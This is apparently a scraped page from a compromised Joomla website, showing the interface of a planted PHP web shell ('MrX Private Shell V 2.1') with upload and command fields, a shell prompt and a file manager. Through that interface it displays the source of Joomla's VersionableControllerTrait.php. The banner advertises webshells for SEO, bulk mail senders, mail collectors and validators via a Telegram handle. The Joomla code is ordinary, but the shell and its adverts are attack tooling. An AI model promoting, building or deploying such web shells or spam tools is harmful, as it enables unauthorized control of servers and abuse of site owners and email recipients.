__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Versioning;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Defines the trait for a Versionable Controller Class.
 *
 * @since  3.10.0
 */
trait VersionableControllerTrait
{
    /**
     * Method to load a row from version history
     *
     * @return  boolean  True if the record can be loaded, False if it cannot.
     *
     * @since   4.0.0
     */
    public function loadhistory()
    {
        $model     = $this->getModel();
        $table     = $model->getTable();
        $historyId = $this->input->getInt('version_id', null);

        if (!$model->loadhistory($historyId, $table)) {
            $this->setMessage($model->getError(), 'error');

            $this->setRedirect(
                Route::_(
                    'index.php?option=' . $this->option . '&view=' . $this->view_list
                    . $this->getRedirectToListAppend(),
                    false
                )
            );

            return false;
        }

        // Determine the name of the primary key for the data.
        if (empty($key)) {
            $key = $table->getKeyName();
        }

        $recordId = $table->$key;

        // To avoid data collisions the urlVar may be different from the primary key.
        $urlVar = empty($this->urlVar) ? $key : $this->urlVar;

        // Access check.
        if (!$this->allowEdit([$key => $recordId], $key)) {
            $this->setMessage(Text::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'), 'error');

            $this->setRedirect(
                Route::_(
                    'index.php?option=' . $this->option . '&view=' . $this->view_list
                    . $this->getRedirectToListAppend(),
                    false
                )
            );
            $table->checkIn();

            return false;
        }

        $this->setRedirect(
            Route::_(
                'index.php?option=' . $this->option . '&view=' . $this->view_item
                . $this->getRedirectToItemAppend($recordId, $urlVar),
                false
            )
        );

        if (!$table->check() || !$table->store()) {
            $this->setMessage($table->getError(), 'error');

            return false;
        }

        $this->setMessage(
            Text::sprintf(
                'JLIB_APPLICATION_SUCCESS_LOAD_HISTORY',
                $model->getState('save_date'),
                $model->getState('version_note')
            )
        );

        // Invoke the postSave method to allow for the child class to access the model.
        $this->postSaveHook($model);

        return true;
    }
}

Filemanager

Name Type Size Permission Actions
VersionableControllerTrait.php File 2.86 KB 0664
VersionableModelTrait.php File 2.29 KB 0664
VersionableTableInterface.php File 838 B 0664
Versioning.php File 5.24 KB 0664
Filemanager